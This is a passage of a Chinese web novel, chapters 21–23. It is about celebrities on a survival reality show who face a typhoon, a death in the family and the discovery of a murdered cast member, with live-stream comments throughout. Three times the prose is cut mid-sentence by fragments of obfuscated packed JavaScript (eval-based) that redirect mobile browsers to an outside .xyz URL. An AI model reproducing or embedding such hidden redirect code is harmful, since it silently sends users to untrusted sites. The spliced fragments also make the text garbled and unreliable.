李若水难以置信地看着红灯的光照在哗啦啦的雨声中变得更强更亮,就像是一轮灼热的红日。 怎么会这样? 她脸色惨白,不愿相信眼睛所看到的景象。 萧铭,说的是假话?那么从红绿灯的变化趋势推演来看,萧铭对阚炆……有恶意?而且是极强的恶意?! 茫茫夜色中,李若水从未感觉如此寒冷。一阵风袭来,树叶上积满的雨水兜头打湿她的短袖,她把手臂抱在胸前,竟不由自主打了个寒颤。 “咱们……咱们结束吧。”李若水说。 她指了指天空越来越大的雨,豆大的雨点打在众人头顶,简直就像在受酷刑。 “这雨越来越大了,游戏再玩下去,大家都要感冒,还不如回帐篷休息。” 陈英喆点头称是:“若水姐说得对,不然,咱们这个游戏就玩到这?” 此时地面还剩最后一张牌。 卜思雨说:“我觉得玩游戏还是要有原则,就像狄导说的,都最后一张牌了,咱们就忍忍不行吗?” 意见出现了分歧。 陈英喆犹豫道:“那……还玩不玩?” “玩。”双星晖微笑说,“最后一张牌,谁不玩谁就是玩不起。” 李若水在心里暗暗骂了声爹。 “行。” 陈英喆伸手,把最后一张牌反转。 牌面上的红色字体:就此刻,你心虚吗? 沉默,长达十几秒的沉默。 整个营地只能听见哗啦啦的雨声,这雨现在由中雨直接转为了大暴雨,泥土和枯枝全部从高地被冲刷到低谷,就像瀑布一样浇着所有人的头和脸。 没有人举手。 但…… 李若水抬起眼,一个又一个人扫过去,看见一个又一个刺目的红灯挂在一圈人的头顶,让她如鲠在喉。 “好了,最后一个问题,赶紧问完休息。”狄马伸手揭开牌面上的数字,“3号,是谁?” “是我。”杜小凡像黄莺一样娇俏的声音响起。 “小凡,快点问。”贾高逸打了个哈欠,“老了,实在熬不动了。” “那我问了……”杜小凡怯生生地说。 “我想问在场所有前辈……” 嗯?本来心不在焉的众人都抬起了头,这是要问什么?不会是要雨中大合唱搞团魂吧? “我想问大家……” 女孩子的声音还很稚嫩,娇娇柔柔的分外好听,但说出口的内容却吓人一跳,“随着积分比排名的变动,在场的每一个人,是否能承诺,保住自己的良知……绝不杀人?” 漫长的五秒钟。 又陷入了沉默。李若水不知道在场所有人在这沉默的五秒钟都想了些什么,每个人的表情都像套在真实面容上的硬壳面具,僵硬,客套,装聋作哑。 还是狄马先打破沉默。 “你这个孩子……”他眼神复杂地看着杜小凡,大概顾及到她只有十七岁,还是没舍得骂她,“脑子里都装的些啥?是不是恐怖电影看多了?” “哈哈哈,”贾高逸也跟着笑起来,“小凡刚表演的这段台词,真的把我吓到了,演得真像!前途远大啊,前途远大。” 裴婉命也拍着胸脯喘了口气,“就是啊,吓死我了……我还想着怎么会突然扯到杀人上……你放心,小凡,你是小妹妹,大家都会对你好,护着你,不会出什么事的。” 一时间,纷纷玩笑打岔。 陈英喆笑了笑,也安慰道:“现在是41世纪,又不是旧社会,不会随便杀人的。” 他抬起头,正对上对面李若水怔住的面容,见她唇色暗淡,犹如见了鬼似的表情,不禁一愣,温言道:“怎么啦,若水姐?” 李若水感觉雨水流过了自己的脑子,一团乱糟糟,冰冷的雨水从大脑的沟壑一直流到眼眶,流过脸颊,湿透的发丝紧贴着腮帮子,冻得牙齿咯吱咯吱作响。 “没事。”她勉力说道。 如烟如雾的雨幕里,她和陈英喆对视着。陈英喆的眼睛生得极为出色,那双眼睛又大,又透光,眼角是下垂的,一动不动的时候,会显得委屈,可怜巴巴,像小狗一样。 李若水的视线,一寸寸上移,移到他头顶的黑色上空。 那里,正有一盏亮得刺眼的红灯,闪烁着耀眼的光芒。 - “嘀——嘀——嘀——” 伴随着齿轮摩擦过轨道的轰隆巨响,刺目的红光倒映在窗户上,正对着窗户睡觉的李若水被照醒了,伸手挡在眼前。 “哎哟,这什么呀!”她粗鲁地抹了把脸,怒气冲冲地嚷道,“这么亮的红光,我还以为天亮了呢!” 男孩被她吵醒了,从地铺的被子里钻出来,靠在身后剥脱斑驳的墙皮上。 “是磁轨。”他没精打采地说。 这才凌晨四点,还有一个小时,福利院的孩子们就要起床去打扫卫生、做饭、做义工、果园锄草了。福利院只是教会名下以散播福报为名义的一家规模极小的慈善产业,虽然只是孩子们,但也要从小学会勤劳苦干,不能白吃白喝的。 “磁轨是什么?”李若水瞪圆了眼睛说,她第一次听到这个名词。 “你不知道?”男孩难以置信地看了她一眼,“除了飞舰以外最新型的交通工具,超高时速,一秒飞驰……前十区早就在应用了。” “我不知道,前十区用,关我们十三区什么事。”李若水揪着自己稻草似的短发,她的头发天生带点卷儿,怎么梳也梳不好,“你怎么知道?” 男孩:“……” 他叹了口气。 “最近有一条线路开通到十三区了,为了这条新开的线路,电视上都播报半个月的新闻了,你居然一点都没听说。”男孩无可奈何道。 “没听。我从来不看新闻,新闻关我什么事?”李若水恼怒地用剪刀咔嚓剪断了头发,“这鸟头发,不弄了!” 男孩用手把地上散落的头发归拢,仔细地用纸包包好。 “你想看吗?”他问她,“我知道从哪里能进磁轨禁区,我可以带你去看。” 李若水猛地回头。 “那、那我是不是就成为福利院第一个看到磁轨的人了?”她惊喜地喊道。 男孩无奈地看着她,又笑了,点点头。 李若水嘴张成了一个圆圈,眼睛亮得像星星。 “阚炆,你对我真好!!!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460282|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >- “我知道大家对我好,”杜小凡笑笑,“是我唐突了,我就是突然想到,就问出来了,前辈们别介意。” “游戏结束了……输家是谁?”狄马清了清嗓子,问道。 大家都转头四顾,七嘴八舌地计算起来。 “是贾老师,贾老师手指最少,他是输家。”陈英喆算得最快,“狄导,快给贾老师想个惩罚吧!” “老贾,就罚你给……”狄马思索着,“算了,喝酒对身体也不好,快睡觉了,就罚你给班主任打个电话吧。” 边说边皱眉:“你都多少年没给班主任打电话了,上次见面,老班还跟我提起你,赶快慰问慰问。” 贾高逸舒了一口气,拱手抱拳:“还是老狄对我好,不愧是铁哥们,不让我出丑,我打,我现在就打!” 在众人注视下,他从裤子口袋里掏出手机,这手机还是几年前的老款,手机壳都泛黄,屏幕也碎了,一看就是老古董。 [我没看错吧,怎么还有明星用这款啊?连我爷爷都不用这款了。] [贾老师很节约吧,不舍得换新手机。] [不是,我是业内人士,我听说贾高逸这几年被他儿子坑了不少钱,钱都被败光了,是因为这个才节约吧?] [他可以接戏啊,明星随随便便拍一部戏就几百万。] [那是当红艺人的价格,他这种断档的老演员,演点男主爸爸爷爷什么的边角戏,哪值这个价啊?] [贾老师看起来真可怜一老头……] 只这么一会儿的功夫,暴雨就更大了,大得犹如要毁天灭地,风也刮得更加猛烈,树枝在上空剧烈地摇晃,东倒西歪,连树都有要被吹弯的趋势。 “我找找啊,”贾高逸在通讯录里翻找着,“狄老师、狄老师……” “嘀拉迪拉迪拉——啊嘀拉迪拉迪拉拉——” 突然,通讯录的页面中断了,卡通手机铃声嘀里哒啦地响起来,来电设置是最大音量,不合时宜的音乐节奏响彻在洪水般的雨声里,几乎把人魂都要吓飞。 “吓死我了!”裴婉命大喘气,“怎么突然来电话呀!贾老师,是谁呀?这么晚了给您打电话?” “我也不知道啊,”贾高逸嘀咕道,“这号码我也不认识,还是个固定座机……大晚上,怪吓人的。” 他接通电话,直接开了免提。 “喂,喂,喂?……是贾先生吗?” 贾高逸赶忙凑过去说:“是我,是我,您是谁,有何贵干呐?” 大家都不吱声地竖起耳朵倾听着,摄像球的红点也一帧帧地闪烁在夜色里。 “您好,您好。” “我是帝国第一区柏山路侦察所的所长。” 电话那头似乎没想到这么快就被接通了,停顿了一下,才焦急地说,“您儿子贾兵的遗体于昨夜23点30分被我们在白山塔公园的湖里打捞到了,我们刚确认完死者身份……” 雨声仿佛消失了,营地陷入了死寂,所有人都被这突然降临的噩耗惊呆了。 cctop直播间的观看人数飞速暴涨,屏幕上却无人发言。 “……死因目前尚不明确,还在调查中,请您节哀。” 见贾高逸久久未答话,对方叹息了一声,结束了这场通报。 电话挂断了。 夜色上空,骤然轰隆一声巨响。 打雷了。 划破天际的闪电把营地照得亮如白昼,成为视线焦点的贾高逸铁青着脸,双目暴睁,手抖得如同筛糠。他死死瞪着已结束通话的手机屏幕,“啊啊啊”地叫了几声,到底说不出个囫囵话。 随后,眼睛一翻,晕了过去。 “贾老师!” “贾老师!快!把他抬进帐篷!” 众人都被这突发情况吓惨了,六神无主地围了上去。 李若水刚想上前,身体猛然一抖。 伴随雷声一起响起的,是她耳畔响起的机械音。 “叮!——宿主您好,当前您的直播间粉丝数目已突破20w,现在为您抽取第二次技能盲盒,系统检测到当前环境恶劣,提示红色台风重大预警,为保障宿主生命安全,特赠送您抽一赠一技能盲盒。” “当前您抽取的技能为‘随着血液流淌至深处的是我的珍藏回忆’,赠送技能为‘今夜我将偷偷潜入您的梦里’,已为您开放加成和观众共享权限。” “祝您使用愉快。” 机械音礼貌地一声道别。 脑海里的声音,消失了。 22. 求生物资 好一会儿,弹幕才恢复讨论。 [真没想到会发生这种事,贾老师也太可怜了……] [刚刚我眼泪都出来了,白发人送黑发人,天底下哪个父亲忍受得了啊。] [贾老师本来就没什么工作了吧?爱人去世了,现在儿子也没了,该怎么活啊?] [不知道他给他儿子投保没有,按帝国官方生命保规定,只要他投了,还是能拿到一大笔钱的,够他养老了。] [人都死了还钱不钱的,能别那么冷血吗?!] …… 帐篷里亮着手电筒昏黄的光,看着贾高逸露出被子的憔悴面容,一时间没人说话,裴婉命轻轻握住他的手腕,呜呜地哭了起来。 也没人劝,大家或多或少都知道,她和贾高逸交情极深,两家也素有来往,无论是贾兵的死,还是贾高逸的昏倒,对她来说都是不小的精神打击。 沉默中,裴婉命轻轻地说:“我年轻的时候,家里很穷,为谋生计,我进娱乐圈打拼,签约了经纪公司。” “可是……那时候娱乐圈被各种势力掌控,艺人分成很少,我根本赚不到钱。有一天,有个马维角的富商找到我父母,答应给我父母一大笔钱,说想要领养我。” 大家都静静地听着。 “那个时候我还是未成年,父母是拥有送养权的。我父母动心了,立刻就想答应。可是我害怕极了……我知道这个老富商打的什么主意,一旦和他在法律上成为名正言顺的父女,我还能逃得掉吗?” 裴婉命哽咽着说,“我在公司的楼梯上,哭得昏天黑地。贾老师那个时候已经是大腕了,他看见我,还是停下来……问我怎么了?需不需要帮助?” 泪眼朦胧里,似乎浮现那张圆圆的、精明的、眉梢眼角都写满狡猾的脸。明明可以装作没有看见,明明可以快步走开,他还是选择了停下脚步。 “小裴啊,怎么了?”那张圆脸说,“遇到难处了不要躲着哭,要说出来,我会帮助你的。” 扎着麻花辫、穿白毛衣的女孩哭着说:“贾老师,我想赚钱。” 圆脸愣了一愣。 半个月后,裴婉命拿到了走穴演出的第一笔百分百费用,她郑重地把那叠钱交到父母手里,告诉他们,只要自己留在霍拉,未来会有很多很多这样的大额收入。 之后,又去宾馆找到那个老富商,对他鞠了个躬:“请您离开霍拉,我不会去马维角了。” 从此,贾高逸就是她的救命恩人。 两人的关系,亦兄亦妹,亦师亦父。 几十年过去,两人都有了家庭。她虽然长居国外,却总记得给贾高逸打电话嘘寒问暖,贾兵的百岁宴、贾兵的十岁生日、贾夫人的离世……她统统都在场,没有一次缺席。 现在,蓦然告诉她,她当成亲侄儿一样的贾兵居然死了,她怎么能接受? 裴婉命把脸埋在手心,泪珠大颗大颗地渗出来。 …… [我哭了QWQ] [老一辈的交情好令人动容啊。] [贾老师真是个大大大好人啊!好人怎么就得不到好报……] …… 弹幕一片叹息。 当天夜里,辗转反侧,无人入眠。 - 第二天醒来,更糟糕的情况发生了。 “红色预警?!” 燕南菲盯着手机上蹦出来的提示,一句句念道,“帝国第十二区区气象台提醒您,您当前所在区域为台风登陆中心地带,存在重大灾害隐患,随时都有断电风险,请锁好门窗,做好安全防护,生命可贵,须得珍惜。” 念完之后,她狠狠把手机往睡袋上一扔,国骂连天。 贾高逸已经苏醒,搓着脸颓丧地坐在睡袋里,花白的头发乱成一团,沉默不语。 裴婉命皱了皱眉。 “节目组呢?你们没有一点措施吗?”她对着空气问道,“现在这个天气,没有食物没有水,我们来这里是录综艺,不是来送死的!” 帐篷外雨声稀里哗啦,偶尔还有雷声作响,听得人心惊肉跳。 粉丝们看着自家艺人疲惫不堪的样子,也心疼不已。 [死节目组给老子滚出来,我家孩子送出去不是让你们虐待的!短短两天我宝脸都瘦尖了!] [节目组真的,赶紧把他们接回来吧,现在这个情况还能继续吗?我看大家状态都不是很好。] [这什么狗屎节目啊我呸呸呸!] 雨水的潮气甚至打湿了帐篷的边缘,再这样下去,住所被淹也是迟早的事。 司理群眉心拧紧,拿起手机出了帐篷,似乎是在给谁打电话。 过了一会儿,他头发湿透地回来,脸色好看了许多。 “节目组说,会给我们发送标记地图,把岛上埋的求生物资都标记出来,以及通往季岛的路线,算是帮我们减少求生难度,度过这一关吧。”司理群边脱下湿漉漉的外套边说。 [这还差不多。节目组也算是做了回人。] [这样的话,节目乐趣会大大加大吧?我看到全球观看率已经暴涨五个点了。] [从昨晚贾兵死的时候就开始暴涨了,本来我周围就我一个人在看,现在我各个群里都在讨论。] 阚炆眉头一挑,目光如寒冰般朝摄像头望去,令弹幕瞬间噤声。 “都什么时候了,还管什么求生不求生。”他说,“这个天气,是开玩笑的吗?命赔在这里都不够。” 阚炆自出道以来,从来都很得体,什么场合说什么话。曾有狗仔锐评他是:“不轻易说话,但一开口一定一针见血。” 此时他一发言,气压立刻下降几个度。 但兰斯娱乐所在的节目组依旧很坚持:“如果要想拿到五千万,你们必须继续往前走,穿过官岛,抵达季岛。” 阚炆凛冽的目光挨个扫过去。 贾高逸犹如没听到般窝在睡袋里,裴婉命低下头避开了他的视线。陈英喆挠着头不说话。卜思雨倒是面露期待,但是视线一对上,又立刻像个缩头鹌鹑似的赶紧缩回脖子。 杜小凡恹恹不语地瘫坐在地上,狄马神情烦躁犹豫不决,一旁是双手插兜的曹拓。双星晖微笑着直视他,萧铭沉默着兀自思索。余嘉荧面无表情,司理群急躁地走来走去打着电话。 [这是都不愿意走啊……] 网友看得透透的。 [是舍不得那五千万吧?天气越恶劣,放弃的人越多,分钱的人也就越少。] [别胡说,他们都是明星,怎么会差那五千万?] [楼上真是不食人间烟火,让我来给你细数一下,贾高逸,一个老帮菜,青黄不接,几年没接到像样的戏了,存款肉眼可见也没多少;裴婉命,有一个拖后腿的老公,还有一个身患重疾躺在ICU里烧钱的女儿;杜小凡,新人演员,也就《达摩诀》刚有点姓名,能挣几个钱?] [卜思雨,名头倒是响亮,大青衣大青衣,众所周知现在是花旦的市场,青衣只能演配角,来这应该是为了更上一层楼,眼看收视率暴涨,她怎么甘心这个节点退出?] [楼上牛啊,一看就是常混数据圈的,再分析分析!] 网友们都兴奋起来。 [没得分析啦!后面的人我也猜不到……陈英喆不说话我想不通,他都顶流了应该不少赚吧?狄导嘛……] [狄导可能是舍不得这两座岛,想看完这两座岛。] 有人抢答道。 一时间,直播间里众说纷纭,各种深谙人性的野生心理专家层出不穷。 阚炆的目光投向李若水,眼神瞬间柔和下来。 “你呢,你想不想走?”他问道。 走,还是不走? 走的话,说不定就避免了预言中精神失常的命运,回去安稳当个复红的艺人…… 可是。 她掀开帐篷,看向暴雨中对岸那座翠绿的岛屿。它似乎近在眼前,却又如此遥远,遥远到李若水根本看不清其中是否有她在意的那个人…… 她此刻在哪里?下这么大的雨,她该如何果腹?有没有失去信号?节目组会不会就此放弃她? 李若水犹豫了一瞬,还是摇头道:“不,我不走。我要继续向前。” 阚炆似乎预料到一般,点点头,在她身边坐下。 “好,那我也不走。” [啊啊啊啊啊啊啊啊啊] [啊啊啊啊啊啊啊啊啊啊啊啊啊啊] [啊啊啊啊我叫的好大声阚炆你这是在告白吗!] [谁懂这句话的含金量?我疯狂心动!] [老阚,真男人!这一刻我支持你!] 萧铭注视着这一幕,含笑道:“既然都不走,等雨势变小,大家就一起去找求生物资,一边找一边前进,很快就能到达季岛。” 无人反对。 透过帐篷缝隙能看见外面的瓢泼大雨,在场十余人无事可做,只能百无聊赖地刷着手机,看看弹幕,和粉丝说说话,聊聊天。 [小凡,我昨晚又看了一遍达摩诀的经典片段,我宝演得太好了,完全不像新人,呜呜呜我何德何能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460283|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇上这样的你……] 杜小凡哭笑不得,“宝宝,我记得你,上次接机给我送自制周边的是你对不对?你都六刷了,怎么还看呀,你都不腻的吗?……这次看的是哪段?” [看你和萧哥在沙漠里诀别之后,你骑着马一边走一边哭,然后遇上白衣小和尚那一段。] “施主,你说你斩断前缘,忘尽旧梦,你却紧闭双眼,衣衫湿透。” 帐篷的角落里传来清亮少年声音,“倘若你睁开双眼,看看这漫漫黄沙,你便知道,你还有多少前路要赶,故人已归红尘去,何须提灯寻三途。” 听到熟悉的声音,杜小凡回头望去,只见余嘉荧倚在角落地,朝她扬了扬手机。 “我看弹幕提到了,就找出来看一下。”说着,她微微一笑。 余嘉荧能火起来,因其清冷气质在娱乐圈尚无代餐,她的清冷恰如这连绵阴雨,带着点散不去的忧愁和阴郁,因此显得更独特。 这一笑,就像潮气里盛开一朵洁白晶莹的昙花,连杜小凡都有几分愣怔。 她可真好看啊。 “没事,嘉荧姐,你看你看。”杜小凡缓过神来,客气地说,“我还想请你给我点评下演技呢。” 余嘉荧轻柔道:“客气了,我哪有资格点评,你和对手戏这个演员演技都非常好,完全不出戏。” 杜小凡被她一提,也凑过来贴着一起看:“这段确实好,当时拍了好多遍呢……是憧光演得好,当时全靠他带我。” [小和尚这个演员确实演技很棒,长得也帅,就是后来没消息了。] [估计是退圈了吧?没背景在娱乐圈出不了头的,我看演员表甚至都没看到他名字,我记得以前有,应该是退圈了所以删掉了。] [我当时为了蹲萧哥,去剧组探班了,这个小演员特别有礼貌,和杜小凡关系也好,我都差点磕上了……] 探班的站姐继续说着。 [这个演员我记得都叫他憧光,甚至不是科班出身的,怪物新人一枚,不知道王良奥导演从哪挖出来的,演得特别好,我当时就入坑了,想粉他来着。] [老觉得这个人有点面熟怎么回事……] [可惜啊,万恶的资本淹没了多少有天赋的新人啊!这个人应该是退圈了,再也没声音了。] …… 陈英喆刷着手机,不时看向帐篷外的雨势。 热闹的讨论中,雨声渐渐地小了一些。 陈英喆一跃而起:“我就说嘛,雨不会一直这么大!前辈们,咱们去找求生物资吧!” 一行人找了些较大的树叶,以树叶代替伞,遮挡在头顶,按照手机地图上显示的黄色标记,往树林区域行进。 经过暴雨一夜的浇灌,树林里干燥的土地已经变成了湿淋淋的泥泞地,脚踩上去立刻深陷一个窝,拔都拔不出来,鞋跟上黏满了厚厚的泥。 越往树林深处走,泥越深。 卜思雨为了跟衣服搭配,穿了一双露脚背的平底凉鞋,黄泥糊在她的脚背,黏湿的触感让她直犯恶心。 她顺势扶住身旁的树干,单脚脱下鞋,在树干上蹭着怎么擦也擦不干净的泥。 “真是活受罪!” 卜思雨一边骂,眼珠子一边灵活地向四周望去。 忽然,她看到几步远的草丛后,似乎隐隐露出鲜艳的蓝色。 难道是求生物资? 卜思雨喜上眉梢,顿时就想要呼唤其他人过来。但是刚要叫嚷,又停住了。 从地图上显示来看,物资总共也没多少,她先找到,归属权就是她的,她爱分出去多少就分出去多少…… 不分也行。 这么美滋滋地想着,边胡乱套上鞋子往草丛走去。 拨开与肩齐高的芦苇杆,踏过荒草丛,她终于看见地上躺着的是什么—— 深蓝色的工作服已被雨水浸泡得发胀,那张文质彬彬的面孔显出了青白色泽,嘴唇呈现出骇人的紫色,四肢僵硬,显然已经死了不知道多久了。 这张脸,昨夜还围坐在营地边一起喝酒,一起玩游戏。 现在已经变成了一具尸体。 “啊啊啊啊啊啊!!!!” 惨叫声响彻云霄。 “杀人了!杀人了!!!” 卜思雨声嘶力竭地尖叫着,她浑身发抖,整个人瘫软在地,手脚并用地朝草丛外爬去,身上沾满了雨和泥,连鞋子掉落了也顾不上。 逃!逃!逃! 她不要死! 她要逃离这个连人都敢杀的魔鬼岛!!! 23. 风暴将至 “爬,爬,爬。” 女人拍着手对摇篮床上的小婴儿哄道,“我们思雨真聪明,爬得真好!” 极度的恐惧使血液上涌,脸颊开始发烫发麻,眼前的草丛忽然变成了白色的天花板。 飘在空中,往下俯瞰,金碧辉煌的欧式风格客厅里,摆着一张鹅绒摇篮床,几个大人围在小婴儿旁边,欢声笑语地逗着婴儿。 小婴儿抬起头,发出咿咿呀呀的声音,好奇地与卜思雨对视,那黑葡萄般的眼睛和笑起来嘴边的小窝瞬间让她明白这是什么地方,什么场景。 这是……我? 还没想明白为什么会看到婴儿时期的自己,眼前的场景已飞速贴近。 脸贴在冰冷的木质地板上,火辣辣地疼痛着,想爬,却没力气爬。身后是砸东西和吵架的声音。 卜思雨伸手往脸上一摸,捻下来一块亮晶晶的东西,是玻璃渣子,脸颊上全是被玻璃割出来的细碎小口子。 “为了嫁给你,我放弃了我的事业!”女人砸碎了电视柜上的花瓶,扯着嗓子尖叫道,“本来我甚至可以拿到金曲新人奖!你这混蛋,你骗了我!” “我骗了你?到底是谁骗谁?” 男人走过来,一把揪起卜思雨的头发,卜思雨动弹不得,只能眼睁睁看着那暴怒的脸庞近在咫尺,又扇了自己两个巴掌,女人在身后吓得尖叫。 “这是我的种吗?” 男人勃然大怒道,“你这个臭娘们,到底给我带了多少顶绿帽子?当初是谁在酒桌上倒贴我?要不是我,你一个小歌手,凭什么当上富太太?你这婊子不就是图我的钱吗?现在看我没钱了就开始嫌弃我?” 男人放开女孩,她又摔落在地板上,可男人置若罔闻,指着身后的女人道:“你等着,老子非弄死你们娘俩不可!” 卜思雨嘴唇蠕动两下,一声“爸”含混在喉咙口,男人已经重重摔门而去。 门一关,女人立刻匆忙进了卧室,关上房门开始打电话。女孩躺在地板上,腿似乎骨折了,手好像也骨折了,哪哪都疼痛不已,她喃喃道:“妈妈……” 过了一会,女人终于出来,衣服换了身新的,也补好了妆,推出来一个拉杆行李箱。 “还有什么没带的?”女人自言自语道,环顾四周,猛一拍手,“对了,还有房产证!房产证上可是我的名字!” 她看也没看地上的女孩一眼,便急匆匆进了书房。 不到一分钟,书房门又被打开,女人探出头朝地板上的女孩喊道:“卜思雨,不就是挨了顿打吗?别在那躺着了,快起来,别那么娇气。” 见女孩不动,她又说:“快点,听到没有?……你爸是彻底完蛋了,我们得另寻出路。我刚打电话给王叔叔了,问你有没有希望进娱乐圈,他看了你的照片,说你还行,虽然长得偏成熟了点,但给个小角色给你演还是没问题。” 女人叹气:“你老娘我是选错路了,好在你继承了我的脸还有情商……到时候一定要好好表现,我给你谋划,总不会出错……” “以后,我给你当经纪人,你就在娱乐圈给我血拼出一条路,老娘后半辈子荣华富贵就靠你了。” “听到没?快起来,收拾收拾走了!” 书房的门“砰”一声关上了。 卜思雨躺在地板上,看着天花板上的吊顶水晶灯。 这灯还是爸妈新婚时买的,现在看来,样式过时,年岁也太久,好像是坏了。一会亮,一会不亮,一会闪,一会不闪,眼前都出现重影了。 … … 萧铭掀开卜思雨的眼皮,用手电筒查看她瞳孔的状况。良久,放下手电筒,舒了口气。 “怎么样?没事吧?” 众人纷纷问。 “没事。”萧铭温声道,“应该就是被吓昏了,睡一会儿就会醒的。” 弹幕立刻献上彩虹屁。 [节目组你们就庆幸还请了我哥哥吧,全能型艺人,又能领队又能看病,没有我哥,你们这节目就要出大事了!] [现在想想,我还害怕,闫文清的死状太可怕了。他到底怎么死的?] [这难道不应该报警吗?侦察所应该赶紧派人过去,凶手很可能还没有走远啊!] [侦察所出警情通报了,现在天气特殊,上岛要过海,就你哥哥的命是命,侦察员的命不是命?] [搞不好凶手就是他们其中之一啊……今晚还能睡得着吗?] …… 大家看着弹幕上的各色猜测,心头都如同被阴影笼罩,灰暗又恐惧。 听到尖叫后,他们立刻顺着声音找过来,看到闫文清被雨冲刷的尸体和昏倒在泥地上的卜思雨。 这惨烈的场景起码硬控了他们半分钟。 裴婉命连声嚎叫,嚎得比昏倒的卜思雨还要大声。 狄马当时就被吓惨了,他活这么大岁数,还是第一次见到凶案现场,差点心脏病发作厥过去。 杜小凡更是抖成了小鸡仔,直接软倒在李若水脚边。 燕南菲也脸色苍白。 这惊悚的一幕令本来安静观看的未来网友都发声了。 【天啊,太可怕了……我以为……我以为这是平行时间线,不会有人死了,本来还挺乐呵的。】 【太可怕了太可怕了,区区综艺居然杀人!】 【终于,历史还是按着原有的轨迹发生了。】 葱绿色弹幕出现了,语气很沉重。 李若水神色凝重地看着眼前的弹幕,心头也是一片沉重。 杜小凡被她救下,闫文清却死了。 难道……他们最终还是逃脱不了死亡的命运? 李若水握紧拳头,抬起头望着对岸,那座岛的上空,铅灰色的天边卷动着深灰的云,云下翻涌着隐隐约约的风暴。 风,更大了。 其余人要么是青壮年男性,要么是像贾高逸一样已经精神呆滞,要么是见过大风大浪,都还算比较镇定。 几个男生一起忍着害怕和恶心查看了闫文清的尸体,尸体的全身各关节都已经僵硬强直,弥漫着淡淡的尸斑,显然,闫文清并不是刚刚被杀,而是已经死亡很长时间了。 几人合力将尸体翻过来,拨开闫文清后脑勺处的头发,只见被雨水泡得发白的头皮上,有一道十分明显的椭圆形伤口,伤口周边的皮肉模糊而肿胀,像是被什么东西重击过。 “钝器伤。”阚炆蹲下身,仔细看了看那道伤口,“他是被人砸死的。” “小阚,你怎么知道?”萧铭问,“判断准确吗?” “应该准确。”阚炆说,“我高考本来想考侦察学院,学了一部分这方面的知识。” 这样啊。 那应该是判断很准了。 只是,这个正确判断,令众人心头涌起一阵战栗。 闫文清不是自杀,而是他杀。目前来看,荒岛别无他人,凶手极大概率是剩下的十四人其中之一。 这个人,能神不知鬼不觉地杀掉闫文清,现在还隐藏在暗处…… 一股无形的寒意在树林中蔓延。 阚炆漆黑而冰冷的双眼凝视着树林深处,喃喃道:“是谁呢……” 这个人,到底是在什么时间段,又是怎么在大家的眼皮子底下,杀死了闫文清? 他又为什么要杀掉闫文清? 闫文清和燕南菲,是艺人里唯二的两个素人,又是学术界的博士,与娱乐界根本不搭边,无冤无仇……难道就是纯粹的杀人狂魔,为了杀人而杀人,杀人上瘾? 阚炆眉头紧蹙,百思不得其解。 雨幕中,只有晃动的树影和沙哑的鸦鸣,夹杂着青蛙的聒噪呱叫,除此之外,别无一物。 …… “啊!!!” 卜思雨满头大汗尖叫着醒来,“死人了!有人!有人杀了他!” 坐起身,才发现身下并非泥泞的雨地。 入目也不是昏暗阴冷的树林,而是亮堂堂的帐篷,身上盖着柔软的睡袋,肩头还披着一条红色的彩绘毛毯。 她愣了一愣,认出这是杜小凡的毛毯——是拍摄达摩诀结束时,剧组送给杜小凡的杀青礼物。 同样的毛毯,她也有一条,只不过是粉色的。 收到那条毛毯后,她就把它丢弃在家里的储存室里,再也不见天日。 凭什么杜小凡是大红色,她却是粉色?她咖位比杜小凡大,又是前辈,却被一个新人抢去风头,这让她的面子往哪放? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460284|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但她不得不承认,这条毛毯的用料真是好,用了十成十的羊毛,笼在肩头,比一件羽绒服都要暖和。 卜思雨默默地拢紧了肩头的毛毯。 帐篷的门帘一掀,杜小凡钻了进来,先是一怔,旋即惊喜道:“思雨姐,你醒啦?” 回身喊道:“快过来,思雨姐醒了!” “真的吗!思雨醒了?” 其余人接连从帐篷外进来,围坐在她身边,关心的关心,倒水的倒水。 接过李若水递过来的啤酒瓶,卜思雨喝了一口,湿润的水接触到干裂的嘴唇,一阵针刺般的疼痛。 “谢谢,”卜思雨说,“这水?” “水不多了。” 李若水平静地看着她,“这是我昨天存下来的。一时半会不会有人来救援,我们必须尽快前进,找到物资,进行自救。” 望着那双清澈的眼眸,卜思雨心头一阵难言的复杂。 “你不用多想,”李若水大概看出她的情绪,淡淡说,“这个时候,生命可贵,每一份资源都要用在刀刃上,你是病号,仅此而已。” 谁多想了! 卜思雨恼恨地想。 司理群挂断手中的电话,对众人说:“是侦察所打来的电话,台风会持续很久,救援无法前来。让我们尽量回忆线索,保存证据,在保护好自己的前提下,尽快到达国界线的小镇上。” 弹幕议论纷纷。 [天啊,也就是说,他们要与狼共舞?] [什么叫与狼共舞?] [楼上,你忘了,现在还没找出凶手啊,谁都有可能是凶手!] 